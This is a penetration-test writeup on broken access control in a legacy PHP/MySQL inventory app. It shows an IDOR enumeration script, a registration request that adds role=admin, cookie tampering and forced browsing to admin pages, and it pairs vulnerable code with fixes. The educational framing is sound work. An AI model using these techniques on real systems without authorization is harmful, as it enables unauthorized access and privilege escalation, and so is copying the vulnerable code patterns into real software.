Writeup: Bypassing Broken Access Controls in a Legacy Web App
Broken access control moved to #1 in the OWASP Top 10 (2021) for good reasonβit's everywhere. This writeup details access control vulnerabilities discovered during a penetration test of a legacy web application.
Engagement Overview
Target: Custom-built inventory management system Age: ~10 years, minimal updates Stack: PHP/MySQL Scope: Web application penetration test Goal: Identify access control vulnerabilities
Reconnaissance
Application Structure
The application has three user roles:
- Admin: Full access to all features
- Manager: Department-level access
- User: View-only access to assigned inventory
Initial Observations
URL patterns suggested direct object references:
/inventory.php?item_id=1234
/reports.php?report_id=5
/users.php?user_id=42
No obvious authorization tokens in requestsβjust session cookies.
Vulnerability 1: Insecure Direct Object Reference (IDOR)
Discovery
Logged in as a standard user, I could view my assigned inventory items:
GET /inventory.php?item_id=1001
Changing the ID parameter:
GET /inventory.php?item_id=1002
Returned inventory item 1002, which belonged to a different department.
Exploitation
Wrote a simple script to enumerate all inventory items:
import requests
session = requests.Session()
# ... authentication ...
for item_id in range(1, 10000):
response = session.get(f'https://target/inventory.php?item_id={item_id}')
if 'Item not found' not in response.text:
print(f'Found item: {item_id}')
# Parse and save item data
Impact: Any authenticated user could view all inventory items across all departments.
Root Cause
The code retrieved items by ID without checking if the user had permission:
// Vulnerable code
$item_id = $_GET['item_id'];
$query = "SELECT * FROM inventory WHERE id = $item_id";
$result = mysqli_query($conn, $query);
No authorization check.
Remediation
// Fixed code
$item_id = $_GET['item_id'];
$user_dept = $_SESSION['department'];
$query = "SELECT * FROM inventory
WHERE id = ? AND department = ?";
// Use prepared statements and verify authorization
Vulnerability 2: Forced Browsing to Admin Functions
Discovery
Explored the application's JavaScript files and found references to admin endpoints:
// admin.js
const adminEndpoints = {
userManagement: '/admin/users.php',
systemConfig: '/admin/config.php',
exportAll: '/admin/export.php'
};
Exploitation
Accessing these endpoints as a standard user:
GET /admin/users.php
Expected: 403 Forbidden or redirect to login Actual: Full user management interface!
The application checked if a user was logged in but not their role.
Impact
Any authenticated user could:
- View all user accounts
- Create new admin users
- Modify existing user permissions
- Export all system data
Root Cause
// Vulnerable code
session_start();
if (!isset($_SESSION['user_id'])) {
header('Location: login.php');
exit;
}
// Missing role check!
// Admin functionality follows...
Remediation
// Fixed code
session_start();
if (!isset($_SESSION['user_id'])) {
header('Location: login.php');
exit;
}
if ($_SESSION['role'] !== 'admin') {
http_response_code(403);
die('Access denied');
}
Vulnerability 3: Parameter Manipulation for Privilege Escalation
Discovery
When creating a new user account, I intercepted the request:
POST /register.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=newuser&email=test@test.com&password=Test123!
The response set a cookie: role=user
Exploitation
Modified the registration request to include a role parameter:
POST /register.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=hacker&email=hacker@test.com&password=Test123!&role=admin
Result: Account created with admin privileges!
Impact
Anyone could create admin accounts through the public registration form.
Root Cause
// Vulnerable code
$username = $_POST['username'];
$email = $_POST['email'];
$password = $_POST['password'];
$role = isset($_POST['role']) ? $_POST['role'] : 'user'; // User-controlled!
$query = "INSERT INTO users (username, email, password, role)
VALUES (?, ?, ?, ?)";
Remediation
// Fixed code
$username = $_POST['username'];
$email = $_POST['email'];
$password = $_POST['password'];
$role = 'user'; // Always set server-side for registration
// Only allow role specification through admin interface with proper checks
Vulnerability 4: Horizontal Privilege Escalation via Cookie Manipulation
Discovery
Examining cookies after login:
session_id=abc123def456
user_id=42
department=5
The user_id and department were stored in unsigned cookies!
Exploitation
Modified cookies:
user_id=1
department=1
Refreshing the page showed data for user ID 1 (an admin) and department 1 (executive).
Impact
Complete compromise of any user account by manipulating cookie values.
Root Cause
The application trusted client-supplied cookies for authorization decisions instead of server-side session data.
Remediation
- Store authorization data server-side only
- Use signed/encrypted cookies if client-side data is necessary
- Validate session integrity on every request
Vulnerability 5: Missing Function-Level Access Control
Discovery
While testing as a manager, I tried accessing the delete functionality:
GET /inventory.php?action=delete&item_id=1001
My role shouldn't allow deletions, but the item was deleted.
Systematic Testing
Tested all actions across all roles:
| Action | Admin | Manager | User | Expected | Actual |
|---|---|---|---|---|---|
| View | β | β | β | β | β |
| Create | β | β | β | β | β (User can!) |
| Modify | β | β | β | β | β (User can!) |
| Delete | β | β | β | β | β (Everyone!) |
| Export | β | β | β | β | β (User can!) |
Impact
All users had all privileges regardless of assigned role.
Root Cause
The UI hid buttons based on role, but the server didn't enforce permissions:
// Vulnerable code
if ($_GET['action'] == 'delete') {
$query = "DELETE FROM inventory WHERE id = ?";
// No role check!
}
Remediation
// Fixed code
if ($_GET['action'] == 'delete') {
if (!hasPermission($_SESSION['role'], 'delete')) {
http_response_code(403);
die('Permission denied');
}
$query = "DELETE FROM inventory WHERE id = ?";
}
Summary of Findings
| Vulnerability | Severity | CVSS | Status |
|---|---|---|---|
| IDOR on inventory | High | 7.5 | Fixed |
| Forced browsing to admin | Critical | 9.1 | Fixed |
| Parameter manipulation | Critical | 9.8 | Fixed |
| Cookie manipulation | Critical | 9.1 | Fixed |
| Missing function-level AC | High | 8.1 | Fixed |
Lessons for Developers
Access Control Principles
- Deny by default β Explicitly grant access, don't deny
- Server-side enforcement β Never trust client-side controls
- Check every request β Authorization on every function
- Validate ownership β Verify user owns the resource
- Log access attempts β Detect attack patterns
Implementation Checklist
- All endpoints have authorization checks
- Role checks happen server-side
- Direct object references are validated
- Session data stored server-side only
- Admin functions protected by role
- API endpoints have same controls as UI
- Authorization tested in security testing
Tools Used
- Burp Suite (interception, manipulation)
- Custom Python scripts (enumeration)
- Browser developer tools (cookie inspection)
Need a penetration test for your web application? Contact us: m1k3@msquarellc.net